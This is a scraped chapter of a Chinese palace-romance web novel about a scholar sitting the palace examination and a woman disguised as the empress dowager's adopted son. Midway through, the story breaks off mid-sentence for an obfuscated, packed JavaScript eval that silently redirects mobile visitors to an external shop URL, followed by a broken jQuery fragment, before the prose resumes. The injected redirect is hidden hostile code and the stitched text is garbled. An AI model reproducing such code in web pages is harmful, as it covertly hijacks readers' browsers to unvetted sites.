文趣网 > 其他小说 > 高岭亡夫住我隔壁 > 8. 养子
    簪花,至今仍是及第士子间的风尚。

    晟云洲虽不爱这坟头花,一时间却说不出拒绝的话,只能心中宽慰自己,毕竟还没拿回去上供,就是一朵普通的花。

    闻锦诚挚送上祝福:“紫花喻紫袍,蓁蓁祝士子仕途一路昌盛,位及人臣。”

    紫袍玉带,的确是所有国朝官员的向往。

    三月的春风吹过街巷,卷过女孩手肘上的花篮,携来一股混杂的花香,扑向男人的怀中。

    少女的帏帽骤然吹掀了一角,露出脖颈下一截米白色的真丝上衣,与微微勾起的雪白下颚。

    锁骨下,一朵靳红的桃花,隐在衣襟间,悄然绽放。

    晟云洲愣怔了会,总觉得她口中那一句“蓁蓁”,隐隐有些熟悉。

    似是在哪里听过,却湮没在波云诡谲的党争岁月里,连同说这话的人,一并记不清了。

    他忽然想问她是哪个蓁,可若没有上门提亲的心思,外男是不该随意询问女子闺名的。

    何况,那晚她说过她成亲了,还是个遗孀。

    晟云洲舔了舔嘴角,没有开口。

    两人颔首告别,晟云洲反向沿着铺街廊下走了几步,衣帽肆的店家提着一个包裹追上来。

    原是他之前换下的外衣落在店里,店家帮他包好送了过来。

    那衣裳被吕家的马车划破,晟云洲本不打算要了。毕竟汴京城小,低头不见抬头见,穿同一件衣服,再遇到吕太尉,容易勾起新仇旧恨。

    他瞥了那包裹一眼,正想叫店家帮他丢了,却发现正上方放置着一方素色的女儿手绢,叠的齐整。

    是他刚刚拽少女抓的绢子。

    晟云洲顿了会,将包裹接过谢礼,拿出那抹帕子略略一看,并没有留字作迹,只余边角,绣了几朵初绽的桃花。

    --

    少女回到马车上,一直留在车里观望的男子,见她手提着花篮上来,抵着鼻尖笑了笑,“我可以认为这是一段良缘的开始吗?”

    少女摘下帏帽,一双杏眸并没有更多的情绪波动,直言道:“只是被他刚刚在人群里嚷的那句话吸引了。”

    她小心将花篮放在马车的另一边,刘曜望着篮里盛开的,都是他那短命外甥喜欢的花,“确实有点像他的语气。不过如果真是当年的他,遇到太尉招亲这样的好事,只怕会做得更绝。”

    小姑娘嗤地笑了笑,笑完,嘴角余有一丝怆然,沉吟了会,“反正我也不喜欢吕家,顺手帮帮他也没什么。”

    若非她自愿同他走,刘曜怎可能一路只跟不阻。

    刘曜剜她一眼:“你自然没什么,这是我的马车,吕太尉只当你是我的人,记账记得是我头上。”

    小姑娘笑得更深,拱手作揖。

    刘曜不管:“少来,这笔记下了。下次若我有难,你给我换回男装,驾你那九乘的豪车过来,我看谁敢动我。”

    “你这账记得不成立,满京城,谁敢动我们大名鼎鼎的国舅爷?”

    刘曜呵了一声,“多了去了,比如你。”

    就凭今天,她说要出个门,满大周,谁还能像她这样使唤他驭车,陪她出行?

    闻锦表示无辜,她央他来,还不是想让他多看一些意气风发的画面,省得他一天到晚不思进取,无所事事。

    金榜题名,前程似锦,多么鼓舞人心。

    除此以外,也是她想来看看。

    “今日人多,我本也不想出来,累得您操心。只因娘亲昨晚同我说,她看见流星了,在东南角闪过。”闻锦嘴角发起苦来,“她笑得很开心,说当年生十一的时候,也是夜里见到流星,第二天就生了他。我想东南角是礼部贡院,便想来看看。”

    刘曜沉默了会,“闻锦,在二姐姐眼里,你现在是十一。”

    这世上,没有另外一个十一了。

    “我知道。”

    三年前,齐国公去世,孝仁太后发了疯魔,变得神志不清。

    闻锦原以为太后娘娘是因父亲离世,悲伤过度,直到有一天,刘曜忽而来到后院,敲响她的屋门,“我听下人说,你会弹云洲的曲子?”

    自那刻起,她为纾解太后的癔症,扮作男儿在帘外弹琴,成了太后幻想中的少年十一。

    六乘马车挟着两轴朱轮辘辘离去,闻锦目光透过车窗的边缝,望向碧蓝无垠的天穹。

    路边连贯的店铺面前,长廊下,月白色圆袍的男子,捻下头上的紫花。

    捏在指尖转了转,抬起头,是同样的一片蓝天。

    --

    三日后。

    当今天子年少登基,孝仁太后临朝称制,把控朝堂,是大周朝背后真正的君主。

    今年太和殿的殿试,由她亲自主持。

    大殿之内,三百名贡生排列端坐,紧张而好奇地等待着,期待一睹君主的真容。

    便是心底腾腾泛起了无尽的凉意,当那熟悉的暗黑祥云凤舞衣袍出现在御座屏风后,姗姗转至眼前,晟云洲抬首,凝望着她那张毫无岁月痕迹的容颜,盘在案桌下的双手,终还是颤抖了起来。

    然他尚未品茗出自己此刻到底是一份怎样的心迹,她侧首绽出笑容,伸出双手,将屏风后走来的另一个人,领坐在了身边。

    那人乖觉扶上她的手,漫不经心侧首,显露出一张恍若天人的俊颜。

    好一位翩翩美少年,鬓若鸦羽,肤白若雪,一双黑白分明的杏子眼,弯眸一笑,晴光潋滟。

    晟云洲明亮的目光彻底暗沉下来。

    这一路上京,留宿会馆,他不是没听过关于她与她身旁少年的种种传闻。

    可亲眼目睹,总比流言蜚语更有冲击力。

    他听说,她在他“死”后不过三月,认了一个养子,这位养子秉性贤良,温润如玉,朝野内外,颇负美名,与他截然相反。

    她十分满意,宠爱非常。

    以致也有不少人猜测,这个不到二十岁的美少年,实则,是她的男宠,说是养子,只是为了好听些。

    他不信她是会养男宠的人,眼前的少年看着弱不禁风,也不像当男宠的料。

    可若真是养子……

    晟云洲目光漆黑,见不到底,朝御座旁纤弱的少年望去。

    男生女相的小白脸,眉宇极度秀气,一身墨绿的圆袍,头上戴着黑漆软翅巾冠子,脖颈上围了条白绸纱般的巾帛,听说是小时候脖子受过伤,遮疤痕用的。

    钦点的十名阅卷官开始传递今日的考题,晟云洲低头,抬着眼梢冷睨。

    只见御座上的少年四顾环望,噙笑与女子细声说话,不知说了什么,逗得她眉眼攒着不尽的笑意,伸手勾了勾他的鼻梁。

    晟云洲心底冷嗤了声,低头一看,殿试的考题,仍是他三年前就出过的。

    翰林院这帮儒生不要脸了?

    若翰林院的大学士们听到他的责骂,非得戚戚喊一声“冤枉”才是。

    哪是他们不想出题呢,人太后家的小少爷喜欢这题目,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514641|203140||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    非要拿这尘封箱底的卷子出来考,胳膊拧不过大腿,他们有什么办法。

    晟云洲心里不爽,奋笔疾书。

    大殿内十分安静,贡士们埋头苦干。

    闻锦沏了杯茶,轻轻放到太后面前,杯底磕在桌几的声响极细,但在这样肃静的氛围中,仍显得十分清晰。

    她转眸,朝殿内绕了一圈,目光不自觉落在她较为熟悉的身影上。

    他穿着她赔的月白色圆袍,低着头,笔尖行云流水,想必胸有成竹。

    握笔的样子,似曾相识。

    太后见她愣神,侧过身子,轻轻拍了拍她。

    闻锦回首,转而大殿右侧,她刚刚凝望的地方,传来一声笔杆猛然折断的声响。

    阅卷官在考场里巡视,其中一位闻声转头,只见白衣士子写了大半的锦绣文章,因为手上狼毫的折断,滩上一大片墨渍。

    殿内的宦官立即拿来新的狼毫上前更换,阅卷官望着他案桌上废了的考卷,瞄一眼漏了一半的沙漏,略有沉吟,“这可如何是好?”

    转见太后与少年都朝这厢望了来,阅卷官斟酌片刻,决意上前禀明,白衣士子却开口道:“一点小事,不必烦扰,小人重新写便是。”

    “你来得及吗?”

    “嗯。”

    新的纸卷在眼前铺开,晟云洲重新拿起狼毫,反复摩挲着残留在指腹上的木屑划痕,企图用疼痛,使自己冷静下来。

    丝丝血珠不断渗出,行云流水的笔墨再度复现眼前,较之方才清俊的字迹,落笔多了几分凌厉。

    阅卷官仍然上前禀明了此事,太后见男子专注地低头,“他既说可以,就先由着他写吧。”

    阅卷官重新回到大殿内巡视,闻锦目光一瞬,再度朝大殿右侧那抹白色的清隽身影看了两眼,略有沉思。

    又一盏茶过,闻锦亲自提壶走入后殿,为太后换盏。

    临下台阶,她双眸朝殿下侧立的两省都知王守仁觑了一眼,王都知愣了愣,退身随她而去。

    “这次殿试的笔纸,可是由内务府统一安排?”廊道前,闻锦接过新茶盏,低声询问。

    清越的少年声,她反复练习了许久,盖不去骨子里的那股江南轻软之气,一出口,带不出任何威摄力。

    却无人敢怠慢分毫。

    王守仁在她身后拱手称是,闻锦蹙起眉稍:“内务府做事向来谨慎,按理说,不该出这样大的疏漏?”

    王守仁略停了停。

    他本将方才一事看作意外,更多以为是那士子临场紧张,没把握分寸,毕竟他不吵不闹,从未将问题怪罪到狼毫上。

    此刻听闻锦疑声,他稍作沉吟,“您是觉得……”

    自太后身旁的梁总管逝世后,内务府一并事宜交由皇后身边的李总管统理。

    虽也是个认真负责的,却是个老好人,远不及梁总管御下严苛,纵容久了,宫里宫外私相授受的事,自然多了起来。

    平日一些小打小闹也罢,笼统不过是东西多分了这厢,少给了那厢。

    可若有人想借后廷的手,管到前省,就越界了。

    这也是闻锦会关注到的原因,“烦劳王都知查一查了。”

    虽然不用查她也猜得到,多半是因为那日榜下的事。

    吕家败就败在后辈不争气,吕大郎若能将他一半的报复心放在正途上,也不至于至今还在府内做个管事。

    只是若要在太后面前提一句整顿与公正,她尚需要证据。